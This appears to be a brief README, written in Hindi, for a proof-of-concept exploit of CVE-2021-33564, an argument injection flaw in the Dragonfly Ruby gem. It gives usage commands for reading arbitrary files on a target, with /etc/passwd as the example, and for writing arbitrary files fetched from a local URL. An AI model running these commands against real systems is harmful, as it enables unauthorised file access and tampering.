CVE-2021-33564 PoC

CVE-2021-33564 के लिए शोषण स्क्रिप्ट (Dragonfly Ruby Gem में Argument Injection)।

उपयोग

मनमानी फ़ाइल पढ़ना

python3 poc.py -u https://<target_url>/system/refinery/images -r /etc/passwd

मनमानी फ़ाइल लिखना

python3 poc.py -u https://<target_url>/system/refinery/images -w public/test.txt -c test.txt -lu http://<local_url>

अधिक जानकारी के लिए, कृपया ब्लॉग पर जाएँ।